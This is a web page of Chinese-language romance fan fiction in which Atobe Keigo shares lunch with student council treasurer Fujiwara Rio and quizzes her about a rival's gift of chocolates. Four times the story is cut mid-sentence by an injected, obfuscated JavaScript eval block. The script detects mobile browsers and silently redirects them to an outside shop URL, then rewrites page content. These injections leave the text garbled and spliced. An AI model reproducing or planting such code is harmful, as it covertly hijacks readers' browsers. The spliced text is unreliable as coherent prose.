她起身离开座位,倚靠教室门前,站在最佳侦查位,翘首以待这位“受到冷落”的迹部大少爷,意图使出什么手段扭转自己的弱势地位。 迹部景吾将右手手肘抬高至腰腹位置。 他向右侧步,紧贴围墙根,和梨央的直线距离靠得更近(虽然并没有什么大用)。中指与拇指摩擦,非常迅速地打出一个响指。 ——“咚”。 比较沉闷的声音。 像一颗小石子投入大池塘,冒起的水花只浮出几个泡沫,便悄然偃旗息鼓。 水太多,手太滑。 这个响指哑火了。 真纪:“……哦豁。” 真纪扶额。她想笑,忍住了。 但是,迹部大少爷是那种遇到挫折就选择放弃的人吗? 当然不可能! 失败乃成功之母。要从失败的经验中汲取教训,任何一位精英成功人士都深谙此道。 于是,他调整了一下指间皮肤的贴合角度,再次一连打出三个响指。 ——“哒”、“哒”、“哒”。 一声比一声响亮。最后一声甚至借助沾了水的皮肤摩擦动能增大的优势,硬生生地将一个响指,打出了赏金猎人扛枪捕狮的气势。脆亮的音色响彻整个高二教学楼。 走廊里来来往往的同学被这声响指惊到,纷纷减缓走路速度,有一两秒甚至忘了抬腿,全部整齐划一地转头,看向这位人群中“鹤立鸡群”的迹部大少爷。 梨央和菅原也不例外。闲谈骤然被影响,他们双双中断交流,寻找响声的来源。 倒也不是梨央好奇,实在这三声响过于显著,太引人瞩目了,就像大半夜睡得好好的耳边突然炸一串鞭炮,想不注意都不行。 梨央和菅原两道目光的落点,都聚集在了迹部景吾身上。 迹部景吾没有看他们,目光的落点,聚集在A班教室门口。 在飞快用余光确认达到目的后,暗色下,他的唇角漫不经心地,挑起一个细微的弧度。 随后,他洒然地长腿一迈,以一种胜利者姿态,大跨步进入A班。衣角依风鼓荡,飘扬着像旗帜的一角。 事了拂衣去,深藏功与名。 真纪:“……” 真纪终于把持不住,噗嗤一声笑了出来。 故意打响指吸引注意力,好笑程度100%。 第一个响指甚至没打响,好笑程度10000%。 ——哈哈哈哈,会长大少爷真的好幼稚。这个场景她回想起来可以笑一天。 可惜没有同道能够和她一起分享快乐,把她给憋的。 “真纪,你在笑什么?”梨央夹着地理课本走回教室,有些不解地看着她,“这么开心,看起来眼睛都要笑没了。” “咳咳,”真纪瞬间收敛,握拳抵在唇边,“没什么,突然想到了高兴的事情……不说这个,小梨我们快进去吧,马上要上课了。” 微醋大少爷试图吸引心上人关注的小把戏乐子,还是不要到处宣扬为好。毕竟在人家手底下的经纪公司拉磨打工,怎么能蛐蛐老板这种事。别的不说,事业寿命她还是想多发展几年的。 不过话说回来,采取的方法就这?就这? 这可怎么和人家菅原同学竞争哟。 真纪不由得为迹部景吾捏了一把汗。身为员工,她仁至义尽地为老板在心中默默画十字,虔诚为他祈祷。 会长大少爷,追人如隔山,祝你成功吧。 god bless。 - A班上午最后一堂课是数学。 负责A班数学课的老师吉冈是个五十岁左右的和蔼小老头,同时也兼任B班的数学老师。 小老头在整个年级里出了名的下课准时,绝不拖堂一分钟。仿佛把拿多少工资讲多长时间,“课外多讲一分钟是另外的价钱”这一信条刻进行为准则,贯彻落实到底。 这节课的内容是圆锥曲线。传说中的卷面杀分利器,学霸等级分阶试炼场。 吉冈激情四射地在讲台上讲,学生干劲冲天地在课桌上记。唯恐走神一秒,掉队千里。 这里面不包括迹部景吾。 笔尖在纸面上划拉一串,写下的每一个字都和课堂无关。 作为从小接受英才教育的继承人,提前搞懂课本内容是最基础的要求。这些课程在其国中毕业升高一的暑假已全然烂熟于心。 [求你将我放在你心上如印记,带在你臂上如戳记。因为爱情如死之坚强。] 《圣经旧约·雅歌》,第八章第六节。 “刺啦。” 一条横线将语句拦腰斩断,一笔勾销。 而后,他翻过一页纸,将夹在前一页的枫叶书签取下,卡在后一页。 ——这枚银制的枫叶书签是上学期文化祭里,戏剧部排演《雅歌》剧目时,送给观众的周边纪念品。 其上篆文和刚才被毁弃的诗句一模一样。 这是当初负责剧目周边监制的藤原梨央翻了好久的书,在寻求了一圈人的看法后,最终,按照他拣择的语句,亲自敲定下的。 纸张向后翻,无数纸页淹没缝隙中的书签。 10分钟后。 11点50整。 下课铃一响,吉冈立马收起教案抬腿走人。老师一走,教室里的学生顷刻清空,一溜烟直冲食堂,生怕晚点就没饭吃。 迹部景吾往食堂反向的实验室走。 5分钟后,11点55。 他到达实验室外面的走廊,向里看。B班的化学实验果然还没有结束。 藤原梨央的邻桌柏木真纪,后桌芥川慈郎,两位近水楼台先得月,抱大腿也比别人更具优势,都已经完成实验,收拾收拾准备提包跑路。 “小梨宝贝,我先走了啊,隼人他还在等我。你要是有什么需要我从食堂打包的,直接告诉我一声。”这是柏木真纪的声音。 “要是柏木同学来不及的话,藤原同学也可以找我。”这是芥川慈郎的声音。 “好的,谢谢真纪和芥川同学,有需要的话我会拜托两位的。” “啊啊啊,藤原同学,我这实验现象为什么老是和参考图对不上。” “我看看……这里,这里……HgCl2溶液不要分批滴,一次性快速滴进去试试……” “藤原同学,求助求助……” “啊……稍等一下,我马上就来……” 20分钟后。 所有人的实验终于圆满落幕。实验室里的学生也都清空了,梨央还没有要走的意思。她一把抓起五颜六色的试管,站在水槽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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现在12点25分。 迹部景吾挑了一下眉,说:“没有,我也才刚到两分钟。今天的课程我结束得也有些晚。” “没记错的话,会长你们班今天上午最后一堂课是数学吧?”梨央觉得奇怪,“难道吉冈老师现在也逐渐拖堂化了?” 迹部景吾:“不是老师的原因。这次章节是圆锥曲线,比较难,我自己又花了十几分钟从头理了一遍逻辑。” 嗯?竟然能从会长口中听到“难”这个字眼。 真是好神奇啊。 毕竟是在教导处排查学生难点的问卷中,大笔一挥,简单在“是否有苦手科目”下草书一个“无”的首席。 “想不到,原来无所不能的会长也有感到苦手的时候啊。”她展露出一个没有恶意的笑容,调侃道。 然后,她看见迹部景吾的视线忽然变得整肃,从她的头顶,滑进她的眼底,就这么直直地望着她,半晌都不曾出声。 梨央:“?” 是自己的玩笑有些过分了吗? 正当她想开口道歉,忽然,她听见耳边掷落一声轻笑。 像正午阳光底下跳跃的回廊铃。 “当然。” 他平静地说:“好多次,我也有感到特别苦手的时候。” 10.10 饭点时,校园只有食堂一处最聚人气。 其他地方则人迹罕至,冷冷清清。没有人声,拉长的蝉鸣声便愈响。连夏季大中午的炽盛阳光摇晃在地面,也多了些空洞的虚无感。 梨央和迹部景吾并肩走在树荫下,穿过一片抖落于肩头的枝影。 她抱着实验记录册,位于安全的里侧,远离行车道。 迹部景吾双手插.进口袋,身处略危险的外侧,一面观察是否有来往车辆,保持不大不小的警惕心。 “中午有想吃的菜式么?”爬上一个斜坡,迹部景吾问她,“校内的或者校外的,只要是你想吃的都尽管提,不用和我客气。” 言下之意,今天午饭这一顿,他包圆。 推却的话下意识涌到嘴边,几乎脱口而出。临到最后一秒,梨央意识到不太妥当,这样的说辞极大概率会被他挡回去,八成是无效努力。 毕竟这位是能用自己的零花钱给网球部部员大方挥霍的主。 于是话到嘴边转一圈,又被替换掉了。 梨央礼貌微笑,“随便什么都可以的。会长你吃什么,我就吃什么,我不挑。” 迹部景吾:“没有‘什么’这种东西卖。” 梨央:“……” 迹部景吾:“也没有‘随便’这种东西卖。” 梨央:“……” 看会长这架势,想必是不容许她糊弄过去。他一定要她说出一个她爱吃、现在最想吃的种类。 梨央开始沉思。她收起礼让敷衍学,认真地、深思熟虑地,从自己日常喜好清单中划拉出一道不那么复杂且稀有的餐食。 “那就土豆番茄牛尾汤吧,”她说,“最近天气热,我也不是太有胃口。” “嗯,行。” 迹部景吾掏出手机,快速敲下几串字符。 到达斜坡顶端之后,接一段平缓长路。 长路左边是石块堆砌的假山,山下一大片水池,水池中央是花蕊石刻,汩汩喷洒着喷泉,呈放射状,一柱一柱弯折成圆润弧形。四面八方,充盈彩色的轻纱状水雾。 梨央稍微拉远和喷泉的距离,以免被溅到。虽然学校会定期给水池消毒换水,倒也不脏。但是夏天的衣服薄,被打湿难免会尴尬。 迹部景吾几不可查地侧头看一眼,脚步调转,不动声色地和她交换了位置。 “藤原,今天中午有去办公室处理学生会财款的打算么?” 走过一节绿荫,她在渐远的蝉鸣中,听到迹部景吾漫不经意地问道。 “要去的,”她点头,“各个部长交上来的上个月报销单和数据我还没来得及看,打算今天中午处理掉。” “那就直接去会长办公室,正好我也有策划书没看完。” 他斩钉截铁地决定:“等下我让人把午餐送过去,免得去食堂还绕一段路。” 梨央对此没有异议:“好的,我没问题的,全听会长的安排。” 和其他同学不同,午睡这一项从不出现在她的时间安排中。 午睡于别人是精力补充器,能更好地应付下午的课程。不过对于她而言,午睡反倒是气血消耗机。非但没有精神百倍,爬起来时甚至腰酸头痛,下午的课越发听不进去。 她还专门查证过,医学上似乎将其归为“午睡悲伤症”的一种。 为了合理利用时间,中午一大块空闲,她都用来处理各项学习之外的事务。有时候是戏剧部的琐碎,有时候则是学生会的项目。 一开始,会长办公室就她一人有中午干活的“癖好”。这般安静三周,直到某天,她碰上了回办公室取东西的会长。 从此以后,有这样“癖好”的人便从一个,硬生生变成了两个。 十次中午去办公室,十次能碰到会长。 …… 虽然是有点巧,但未免也太巧了。 她据此推测会长估计也不午睡,每一天都准时准点来。这100%的碰头概率,堪比太阳雷打不动日日从东边升起。 梨央:?难道“午睡悲伤症”是什么在人群中占比不小的生理状态吗? 话说,她要是让家里的医药研发中心针对此类人群研究是哪种激素进行干扰,并开发出短睡眠时间下也可以长期保持精力的保健品,会不会大卖特卖,大赚特赚? 感觉自己真是个嗅觉敏锐的小天才呢。 梨央偷摸得意地夸了夸自己。 向前直行两百米,路过综合楼,到达文体楼。她和迹部景吾踏入电梯,直奔顶楼的会长办公室。 冰帝学园的社团众多,部活室和相应设施也数不胜数。基于方便管理的考量,学校特地将整栋文体楼做过一次扩建,将其设计为社团并作学生会一起的课外活动场地。 底下几层为各个社团的领域范围。 会长办公室则豪横地占领顶楼整整一层,足有一两百平。 原先办公室只有现在一半大,装饰也简陋。是迹部景吾当上学生会会长后,自掏腰包按他的品味翻修了一遍。采光、装潢、面积皆独占鳌头,全文体楼只此一份。 电梯上行7楼,“叮”一声提示。 梨央落后迹部景吾一步,亦步亦趋跟着他踏出电梯左拐,直行五米,到达办公室。 会长办公室前,他在门把外侧按下指纹,打开大门。冷风大面积漏出来。办公室的空调具远程控制功能,已在他的设置下提前运行。一进入,周身的热气便被吹散。 梨央取下上课时才戴的低度眼镜,连同实验记录册,顺手放在靠左的办公桌上——这是这间迹部景吾独享的会长办公室里,专属于她的桌案。 再进一步,称专属于她的“殊荣”也不为过。 和会长一起同室办公,在她之前没有这个先例。 仍然是据真纪告诉她,此前会计的办公地其实位于第6层,毗邻天文学社,又小又窄。然而,在她上任学生会会计的前三天,迹部景吾突然心血来潮—— “学生会会计的资料和办公 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13534678|142301||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地离我的办公室太远,本大爷觉得不方便。赶紧让人把资料柜和所有会计办公用具,全搬到我的办公室来。” 乾纲独断,说干就干。 于是当天下午,学生会会计的办公地,腾挪一跃,和会长办公室合并至一处。 真纪还揶揄她:“你人还没到学生会报道呢,就先一步从财政大臣升职成了国王近侍。瞧瞧这器重程度……啧,看来以后各部长有什么事,得仰仗藤原近侍阁下您啦。” 梨央夸张地摇头,叹息一声:“哎,你是不知道,伴君如伴虎啊。我们国王陛下是最细致不过的人,财务数据我每次都会和他对两三遍。” 干会计工作,享牛马人生。 不外如是。 然后真纪哈哈大笑:“你还伴君如伴虎,那我们这些闲杂人等要不要活了?” 玩笑归玩笑,底下人实则并不真的战战兢兢。赏罚分明,公平公正,为人大方且恪守底线,正是迹部景吾能初一进校便担任学生会会长,高一入学又接过学生会重担的原因。 …… 办公室内,空调运转声隐约作响。 梨央略整理了自己的办公桌,码齐资料册。上月校内活动多,各部长交上来的报销文件比平常厚一大摞。她提前先分门别类,以便稍后的核对处理。 “藤原,先吃饭。” 身后一阵窸窸窣窣的摩擦。 “这些事吃完了再做,不急于一时。” 梨央回望一眼,应声道:“好,会长稍等我一下,我马上就来。” 会长办公室近门的右角落,开辟有专用于待客的空间。可升降圆桌、宽长的皮质沙发,后方一架浮世绘落地屏风作为装饰。此刻,该处被迹部景吾充作临时进餐的地方。 她从抽屉里拿出一根皮筋,扎好垂下的微卷长发,走到圆桌旁,距离迹部景吾两三个身位。 桌上四道菜,除开她点的那份,还有一份柠檬煎鸡排,鱼羹以及蔬菜沙拉。 都是不油腻,好入口的清爽酸甜菜式,因酷热夏季而缺乏的胃口亦被治愈了不少。 梨央拉开靠椅,准备坐下。 “坐这么远干什么?” 迹部景吾微微凝眉,下颌朝菜品一扬,“离得这么远,这些菜你够得着吗?” 梨央连忙解释,“这倒也不会,我手伸长一点就……” “过来。” 轻飘飘的两个字而已。 便把她所有长篇大论全堵了回去。 修长的食指屈起,缓缓敲身旁的座位。 “笃”、“笃”两声。 那张锐气凌厉的脸上浮一点笑,似乎在游刃有余地,平和地等待。 但抓牢她的视线,平直的声调,分寸不让的动作,是没有任何商量余地的强势。 像利剑见血封喉前,隐忍待发的蓄势。 于是这种平和,便剜去了无谓的和善,演变成决然与无从置喙。 “藤原,坐到我身边来。”他说。 11.11 梨央来不及坐下,也来不及从椅背上撤回手,定定地站着,与坐在她对面的迹部景吾,一高一低,隔半米远的距离对视。 沉默片刻,两个人都不说话。 空调发动机尽职尽责地点缀着寂静。 接着,在她有下一步动作之前,迹部景吾右手的拇指和食指摩擦了两下,而后极其自然地放到膝盖,前倾的姿势变成后靠。 对望她的目光放软得柔和了不少。 仿佛周围箭矢般的无形场能,也于此刻纷纷折戟,化成羽毛,轻轻落到她脚边。 他的眼神里带着一点询问,一点探索,一点接近于茫然的疑惑。他没有出声,但她能听得见他的意思。 似乎是在问她—— “你不愿意吗?” 梨央愣怔地眨了眨眼。 一种奇妙的感觉油然而生。 她现在像面对一头紧弓背部肌肉的猛虎。它朝她伸出利爪,却又在勘勘撕扯下血肉的前一刻,来个急刹车。利爪收回,庞大身躯一歪,直接慵懒躺倒在地,左右翻身滚裹着尘土。 她由这个场景扩展到一个词,常用于将军打仗时调兵遣将的博弈。 叫作战术性“示弱”。 或者,“以退为进”。 ——哇怎么会有这种无端联想。 太离谱了吧。 清理怪异的念头需要花费相当一段时间。 这个空隙,迹部景吾才真正开口。 “你不愿意的话也没关系,就坐在那里吧,”他说,“我把几道菜重新摆放一下,让你坐着也好夹一些。” 麻烦不会消失,只会转移。 她方便了,自然要他多“受一点苦”。 “不用了会长,”她不忍心,迅速推回座椅坐到他身侧,“我马上就过来。” 她是下意识走到那个位置上,没有经过思考。现在再一看,的确有些远。虽然能站起来,手伸长一点也不妨碍,但起起坐坐的,吃个午饭还要萝卜蹲,总归费体力。 无可无不可的事,只要不破坏她给自己设定的标准,她惯常倾向于一团和气。何况给其他人带来不便,也并非她的本意。 尤其这个人,昨天刚对她施以援手。 “看起来像是我勉强你了。” 他的眼尾因笑意向上挑起,“藤原,如果让你感到不舒服,我向你道歉。” 迹部景吾一面亲自帮她分出公筷和私碗,不必她动手,一面开了一句玩笑。 梨央赶紧解释,免得他多心:“没有的会长,是我自己的问题。我以前都是一个人吃午饭,习惯了,一时没转过来。” “怎么不和柏木一起?”他问道,“我看其他女生都是好朋友结伴去食堂。” 她摇着头说:“真纪中午要和日吉同学一起吃。他们不在一个班,见面本来就难。小情侣不容易,我不想当最亮的电灯泡。” 迹部景吾端起她的碗,为她盛了半碗牛尾汤。碗底触碰到她面前的桌底,清灵“叮”的一声。她听见短促轻快的气息。可能是他在笑。 迹部景吾:“那你以后和我一起吃。” 语气理所当然,像1+1等于2那样天经地义。 梨央:“……” 好吧,不是像,的确是天经地义。 毕竟她已经接受了他的提议。角色该有的状态还是要投入到位。否则这“挡箭牌”的位置,不白发挥作用了么? 她点了点头,迅速应承:“好的会长。” 热汤的香气自碗中缕缕冒出,在鼻下缭绕。深深吸入气体,味觉里一下布满酸甜的回甘。 梨央拿起汤匙搅拌几下,才注意到这些碗碟不是专用于外卖的塑料,而是一只只上釉描金的陶瓷。釉面花纹繁复绮丽,工艺精湛,烧造考究,每一只都可媲美拍卖会上的精品。 梨央:“?” 学校食堂的外送服务还搭配送陶瓷餐具? 脑回路迅速折了一圈,她揣测可能是迹部家自己的厨师专门做好,再由专人以专用的餐具打包,送到学校来。 她很少有见他去食堂晃悠的时候。 至于她那份牛尾汤,估计时间太紧,厨师来不及烹饪,让迹部财团名下有该菜式的五星级酒店,特意快马加鞭送了过来。 抿一口浓稠汤汁,咬一口劲道的牛尾,再搭配软烂的土豆和番茄。碳水,蔬菜,蛋白质一应俱全,口味充盈丰富。几汤匙容量下肚,胃部饱胀的满足感像春天埋在土里的草芽一样生发。 好香!好喝!好吃! 纵然自家也有专职厨师,梨央也忍不住赞叹。迹部财团网罗的全世界各顶级厨师们的手艺,可真不是盖的。 “对了,藤原,”迹部景吾及时往她碗里添一勺,“今天晚上的地点,父亲他们定好了在洲际酒店顶层,时间大概17点30分。” “等网球部结束训练之后,我来接你。是在戏剧部部活室么?” 梨央放下汤匙回答:“是的。戏剧部最近有新短剧要排练,我下午要去画分镜剧本。” “嗯,好。” 又短暂性地没了声息。 两个人各自对着各自的碗筷,安安静静,各吃各的。世家严格的用餐礼仪时时刻刻发挥影响,抹去室内一切碗筷碰撞声,食物咀嚼声,以及喝汤时的呼噜声。 中间,梨央尝试了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13567288|142301||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一筷子柠檬鸡排,发现这道菜也很对自己的胃口。 鸡肉嫩而不柴,入口爽滑。浇上清爽的柠檬蜂蜜,酸度和甜度的比例拿捏极为得当。多一分酸则涩,多一分甜则齁。 她不免悄悄起了一个挖墙脚的念头。 嗯……不知道能不能把迹部家的厨师挖一两名到她家来……好“恩将仇报”哦……但实在美味……好像也没这个必要,以后中午跟着会长蹭吃蹭喝,岂不是天天都能享此口福。 可恶啊(夸张版),竟然有一丢丢羡慕。 会长到底过的是什么神仙日子,这就是迹部家超然的实力吗? 她一口气夹了两三筷子柠檬鸡排。 迹部景吾似有若无地侧头瞥她一眼。 这份柠檬鸡排便从离她隔一个沙拉的距离,不露声色地直接摆到她面前。 他的公筷,也再也没有伸向这道菜。 仿佛专门为她一人所做。既然她喜欢,那就让她独占,让她独自享有。旁人不分一杯羹。 安静吃饭五分钟。 梨央这边配着米饭,添了一碗又一碗汤。迹部景吾这边罕见地进食速度降了下来。他执起自己的公筷,夹向鱼羹,又放下,再夹向鱼羹。犹豫地几拿几放,才终于夹起一块。 “藤原。” 冷不防叫她的名字。 “嗯?”梨央咽下牛肉,扯出纸巾贴了贴嘴,“怎么了会长?有什么事吗?” “今天上午第一节课下课,D班的菅原来找你了。”他状似随口地说。不是一个疑问,而是一个笃定事实的陈述。 “对,菅原同学是来找我了,”她露出些许疑惑的神色,“会长你当时不也正好经过。这……有什么问题吗?” 那几声和冲天炮有得一拼的响指,又隐隐回荡在她耳边。 迹部景吾不看她,专心舀几勺蔬菜沙拉。 “我看到他手里拿了一盒巧克力。包装还是爱心形状,丝带也系成了爱心状。” 第二个陈述句。 梨央更摸不着脑壳。那盒巧克力的包装长什么样子,她早已记不清了。或许她根本就没在意。倒是让他看得一清二楚。 没给她回答的时间,他将调味醋倒进勺子,接着问她:“我能否知道,菅原他都跟你说了些什么?” “专门拿着爱心形的巧克力包装,是在找机会和你表白么?” 云淡风轻的语调,好像只是偶然兴起随意一问,没有其他极具目的性的意味。他问这个问题时,仍不曾看她,低下头浅抿了一星半点的醋。 汤勺翻转,醋液倒进沙拉。有几滴因手劲不稳溅了出来,旋即便被他用纸巾擦了个干净。 12.12 ——“是在找机会和你表白么?” 他特意铺垫一大堆问她。 结果仅仅只为了这种捕风捉影的推断。 梨央怔了一刹那。刚举起来触碰到嘴边的汤勺,又重新放回到碗里。 这个问题实属意料之外。 与那些课间无聊时,爱打探他人情感趣闻的好奇宝宝同窗们不同,迹部景吾显然早已脱离此类“低等趣味”,对情情爱爱的风闻不感兴趣,从不多听一耳朵。 有时候,包括她在内的学生会成员,会经常抓一把零食,围在一个地方唠嗑—— “大家知道吗,伊藤和他女朋友,好像分手八个月之后又复合了耶。” “听说是伊藤特地去寺庙做的法事,包场,花了这个数!” “哈哈哈哈哪家这么灵啊,我也去拜拜。” “超爱,无需多言。” “你们听说了吗,一条男朋友居然是那个不可说上位才追上她的欸。” “果然锄头挥得好,没有墙角挖不了。墙角挖不动还是因为你不够卖力。” “嘘——低声点,难道光荣吗?” 每逢这个八卦时刻,入镜的迹部景吾都只是一般路过。 在大家仿若迎接重要首脑的注目礼,和短暂的噤声中,他既不在意,也不参与。只要不对他人说些很过分的话,他一概不插嘴。 像面对突如其来的一阵风,既然吹过来了,那就让它吹过去,并不值得他费半分神。 然而今天,他却突然转了性,对于这种小八卦也有了问一嘴的兴趣。 再仔细一想,他问这个问题算是情理之中。她现在到底身份不同了,为避免和她的“挡箭牌”职能有冲突,询问清楚也无可厚非。 “不是的会长,你误会了。” 梨央连忙澄清:“我昨天借了菅原同学地理课本,今天他是为了答谢我,才给我一盒巧克力的。他说这是给我的谢礼。” 迹部景吾再问:“你收了么?” 梨央实话实说:“收了,没全收。本来我觉得不必要,但菅原同学实在太热情,我只好挑了其中四颗。” 迹部景吾颔首,没有特别的情绪流露。 蔬菜沙拉还没吃上一口,又被他搅拌两三下。这次手劲稍稳了一些,姿态优雅,镇静沉着,不溅出一滴调料汁和碎屑。 光动手不动口,必定有蹊跷。 他肯定还留着问题没问完。 梨央很有默契地侧身转向他。 不出所料。 迹部景吾轻轻放下餐具,也转过头撑着下颏看她,“藤原,菅原的巧克力,你觉得好吃吗?” 梨央:“?” 没想到千等万等,等来了这个在当下听起来像是不熟的人偶遇打招呼,不知道说什么所以随意扯点不让气氛尴尬的问题。 奇了怪了。 今天会长是不是被谁夺舍了?鸡毛蒜皮的事竟然也事事入心。 不过吧……会长或许有他自己的节奏,也说不定。 毕竟国王陛下的心思,岂是她们一介“臣下”可以揣摩。何况并非见不得人的事,既然他想知道,她不介意回答这些琐碎话。 问一个答一个,问两个答一双。 小事一桩。 于是她毫不犹豫地肯定:“好吃!” 美食留下的印象向来深刻。梨央不费吹灰之力就记起课间尝的巧克力的味道,并作出一番公平、公正、客观的评价。 “口感爽滑,味道纯正。牛奶巧克力甜而不腻,黑巧克力苦而不涩,果仁巧克力有嚼劲又有坚果香。体验感很好,好吃爱吃,现已加入我的零食清单。” 一边按照回味的感觉描述,她忽然灵光一闪,福至心灵。 ——会长之所以问她巧克力好不好吃,不会是因为他自己也馋了,又不好意思直白对她开口吧? 她心带分享善意地补充道:“会长,你要是想吃的话,我那里还剩两颗,要不下午给你尝尝?” “不用,”迹部景吾为她的误解失笑,“这是菅原给你的谢礼,我拿走了,算怎么回事?” 同时,迹部景吾亦对此进行了一番锐评。 不过评的不是一个方面。 “菅原家的食品公司在亚洲都排得上名号。据说半年前在尝试独特的可可脂处理技术,并调整所有设备生产线,”他下结论,“看来更新迭代得很成功,反响不错。” 他微挑起好看的眉峰,“估计其他产品线会齐头并进,你一样会喜欢。” 然后,迹部景吾从口袋里掏出手机,手指飞快在屏幕上敲击一连串字符。 梨央:0.o。 优秀啊。 会长竟然能从她平平无奇的答案中,迅速洞察出不同的角度。 这就是身为迹部家继承人的格局吗? 随口一问一答,立刻能联想到对方商业上的布局走向。幼承庭训、根植于血脉中的高屋建瓴思维,无时无刻不在施予影响。 她收回视线,低头凝视将要见底的米饭。 “会长很厉害”这个标签早就存在于她的认知中。各家长辈的夸奖时常入她耳,溢美之词来来去去,其实也称不上新鲜。 但道听途说是一回事,亲自感知却是另一回事。 赞叹,敬佩,同时还掺杂些艳羡。剩下的,比起委屈,更多是不甘心,五味杂陈地混在一起。即便身处冷热适中的空调房,她也不大觉得好受。 如果……她控制不住地作假设。 如果父亲也愿意如同迹部叔叔一样,从小锻炼她商业方面的感知力,在她每每主动问相关问题时,像对哥哥一样对她细致解答,不敷衍糊弄…… 那她如今的眼界,是不是也可以同会长一掰手腕? 而不是像现在这样,只知道站在下位处,懵懂地仰望高处的他,只知道对他不断散发的光辉发出一声惊叹呢? “怎么了?藤原,你为什么忽然不开心?” 她还没来得及从设想中抽身,迹部景吾的疑问接踵而至。 话语收尾很轻。 透出关切和小心谨慎的意味。 梨央恍然:“啊……没有没有,会长我没有不开心。就是刚才吃太多,现在感觉有点吃不下了……” 糟糕,表情做得太明显,被人看出来端倪。 实在大意。 梨央矢口否认,以迅雷不及掩耳之势切换好不引人多心的面具,转而岔开话题: “会长,我看你没吃几口,不再多吃点吗?下午还有课,中午也不睡觉,等下饿了会犯困的。” 她把几道菜往他的方向推近了几寸。 迹部景吾低垂眼睫,扫视她伸过来的手,抿了一下唇。 目光上视。对面望着他,恳切表达出体贴担忧之意的琥珀色瞳仁,清澈得发亮。 像彩灯下的玻璃门一样发亮。 她一直就待在玻璃门里面。外人看进去,和她面对面地久久对视,微笑致意,视线没有任何阻碍,似乎不曾设防。 然而一旦试图叩开门,坚硬的隔阂只会警告来人,你越界了,马上给我退回去。那扇玻璃门便一直紧锁着,没有为来人打开的理由。 不过穿房入户这事,确实也急不得。 来日方长。 耐性是一切成功之源。 “今天天气热,我也没什么胃口,”他随意道,“吃不下就不吃了,我让人来收走。” 梨央点了点头,不再说什么。 她移开米饭,端着碗默默喝汤。 再次安静几分钟,第二轮敲门声隐隐约约地响起。 “进来。” 门扇打开。一个像移动的山峦一样高壮,穿校服、板寸头褐色皮肤男生在前。一名穿着黑色工作服,大概四十岁的中年男性在后。 两位有秩有序地进入会长办公室。 前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13591512|142301||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 者她认识,高一年级新生,经常跟在迹部景吾身后的帮手,名字叫桦地崇弘。人看着挺憨,也不太爱说话。 后者就面生了,她推测可能是迹部家的工作人员。 “桌上这些餐具都收走,”迹部景吾指挥道,“桦地,把刚送到的巧克力拿进来。出门右拐就是。” “USU。” 桌上的残羹剩饭,不过一两分钟便被手脚利落的工作人员打包带走。 桦地崇弘跑出会长办公室门外。 桦地崇弘跑进会长办公室门来。 手边多了一个三层的小推车。 推车从上到下,每一层都放置有一个大托盘。每个托盘呈圆心放射状摆放有十数个巧克力。 每个巧克力的包装还不一样,红橙黄绿青蓝紫,看得梨央眼花缭乱。 梨央:“?” 这是在闹哪一出? “好了桦地,这里没你事了,出去吧。” “USU。” 见她光干看着,完全没有动手的意思,迹部景吾起身把小推车拉到她身旁。 “你不是说菅原家的巧克力好吃么?吃吧,”他坐回原位,指节敲着推车的栏杆,“他家市面上能买到的所有品种全在这里,你随便拿。” 梨央:“……” “啊?!” “这……我……” 好夸张啊。 光大致数一下也得有二十多种了。 或许是预判到有被推辞的风险,迹部景吾先发制人:“藤原,不要拒绝我。这些巧克力我有大用。” “所以,帮我个忙。” 他懒散地以手背支起下巴,侧过头,全然地面向她。再前倾身,慢慢地,缓缓地靠近。 他们之间尚留有一段距离的空隙,在逐渐缩短。他靠过来时,像战线一点点向前推,逼近,蚕食对方的堡垒。而她这边的阵地,正在失守。 忽然,优势方莫名其妙停了。 停在一个比安全范围略狭窄的空间,却又不因使对方完全丧失腾挪的希望导致兔急咬人。 就这么不上不下地吊着。 周围又开始充斥满他的淡甜香气。 和自他辐射出的热量。 一张细密织就的网。她被围困在中央。 比起一击毙命,钝刀子割肉简直杀了她还能顺带磨一下刀。 “那,我可以……随意试几个吗?” 都不知道自己在说什么。 “听你的。” 迹部景吾微斜翘起唇线,噙着笑,臂展伸长搭在她身后的椅背一角。 victory。 枪.药的火光噼噼啪啪。 这下才算是真正的将军了。 